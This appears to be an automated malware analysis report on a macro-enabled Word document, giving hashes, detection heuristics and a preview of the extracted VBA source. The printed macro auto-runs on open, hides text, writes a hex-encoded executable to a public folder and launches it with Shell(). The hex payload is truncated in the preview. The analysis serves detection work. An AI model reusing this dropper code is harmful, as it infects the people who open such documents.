Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 99eb211ea131834d…

MALICIOUS

Office (OOXML)

1.28 MB Created: 2020-06-29 06:46:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-30
MD5: 554a622c2e30ad452eb9cb51d28a4abb SHA-1: ebff660cf23d5ecce255c9b3b34519dbc11340ef SHA-256: 99eb211ea131834d93e25ba0c1066e37d5583f7694c51611337e1c44b60b7fa5
332 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing a VBA macro with a Document_Open auto-execution routine. This macro is designed to write a binary payload to disk as 'C:\Users\Public\update.exe' and then execute it using the Shell() function. The ClamAV detection 'Doc.Dropper.HexEncodedEXEHeader-9789587-1' further confirms its malicious nature as a dropper. The macro also attempts to hide its presence by setting the font color and size of the first 10 paragraphs to white and size 2, respectively.

Heuristics 9

  • ClamAV: Doc.Dropper.HexEncodedEXEHeader-9789587-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.HexEncodedEXEHeader-9789587-1
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: https://pixabay.com/en/birds-budgerigars-green-green-bird-1281783/
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/11/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn macro / runtime command snippet
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/SVG/mainIn document text (OOXML body / shared strings)
    • http://www.w3.org/2000/svgIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/xlinkIn document text (OOXML body / shared strings)
    • https://pixabay.com/en/birds-budgerigars-green-green-bird-1281783/Document hyperlink
    • http://schemas.microsoft.com/office/drawinIn macro / runtime command snippet

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1346964 bytes
SHA-256: 1d06a9347611d865cc30ebd8b7c101a0674b1a33f75c8995a8124a15a221a345
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2586 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

Dim n As Integer
n = ActiveDocument.Paragraphs.Count
For i = 1 To 10
    ActiveDocument.Paragraphs(i).Range.Font.ColorIndex = wdWhite
    ActiveDocument.Paragraphs(i).Range.Font.Size = 2
Next i
For i = 10 To n
    ActiveDocument.Paragraphs(i).Range.Font.ColorIndex = wdAuto
Next i

ActiveDocument.Save
Call thisvbmacro1

End Sub
Private Sub Document_Close()

'MsgBox "Closing", vbOKOnly, "Closing"
End Sub

Attribute VB_Name = "NewMacros"
Sub thisvbmacro1()
On Error Resume Next
Call WriteBinaryFile
Shell "C:\Users\Public\update.exe", vbNormalFocus
End Sub

Sub WriteBinaryFile()
Dim i, j As Integer
Dim nFileNum As Integer
Dim sFilename As String
Const hsl As Integer = 130
Dim hs(hsl) As String
Dim h As String
sFilename = "C:\Users\Public\update.exe"

hs(1) = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000006AC3FA832EA294D02EA294D02EA294D075CA97D13CA294D075CA90D10FA294D075CA91D1E8A294D075CA92D12FA294D075CA95D133A294D02EA295D041A094D0D6D290D13DA294D0D6D297D134A294D0D6D291D1C7A294D096D39DD126A294D096D36BD02FA294D02EA203D02FA294D096D396D12FA294D0526963682EA294D0" & _
"000000000000000000000000000000000000000000000000504500004C010500B9CEC45F0000000000000000E00002010B010E1B003A0700001A0300000000005209030000100000005007000000400000100000000200000600000000000000060000000000000000900A000004000000000000020040810000100000100000000010000010000000000000100000000000000000000000DC1C09001801000000C00900A84300000000000000000000000000000000000000100A006472000028880800700000000000000000000000000000000000000050890800180000009888080040000000000000000000000000500700200600000000000000000000" & _
"000000000000000000000000000000002E746578740000004138070000100000003A070000040000000000000000000000000000200000602E7264617461000096EF01000050070000F00100003E0700000000000000000000000000400000402E64617461000000B87000000040090000340000002E0900000000000000000000000000400000C02E72737263000000A843000000C009000044000000620900000000000000000000000000400000402E72656C6F6300006472000000100A000074000000A609000000000000000000000000004000004200000000000000000000000000000000000000000000000000000000000000000000000000000000" & _
"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" & _
"6A00680F6C4800B9004F4900E8BFD800006860464700E8BFFB020059C3CCCCCC68C0464700E8B0FB020059C3CCCCCCCC6A02685CAF4900E8A41E03006820474700E894FB020083C40CC3CCCCCCCCCCCC812598AF4900FFFEFFFF6830474700E876FB020059C3CCCCCCCCCCCCCCCCCCCC68087E48006A006A00FF150C534700A3A4AF4900FF154C5347006840474700A3A0AF4900E841FB020059C3CCCCCCCCCC6A00B9A8AF4900E83D8801006860474700C705A8AF4900CC834800C70554B0490001000000E810FB020059C3686A474700E804FB020059C36874474700E8F8FA020059C36A00B9C8734900E8B44602008325D4734900008325D873490000687E" & _
"474700C705C87349005C844700C705DC74490022F00000E8BEFA020059C36A00B9E0744900E87A4602008325EC744900008325F0744900006889474700C705E074490094844700C705F475490024F00000E884FA020059C3688C874700FF1544544700A3FC8D4900C36A01B9808E4900E8EDE101006894474700E85BFA020059C36AFEB9808F4900E8D5E10100689E474700E843FA020059C36A00B9008E4900E8BDE1010068A8474700E82BFA020059C36AFFB9008F4900E8A5E1010068B
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 2161152 bytes
SHA-256: 1ce40b00677daba06a6b03f091c4929c838181105c143f29ce904918fbb192ae
Detection
ClamAV: Doc.Dropper.HexEncodedEXEHeader-9789587-1
Obfuscation or payload: likely
Carved artifact contains 2601 long base64-like blob(s).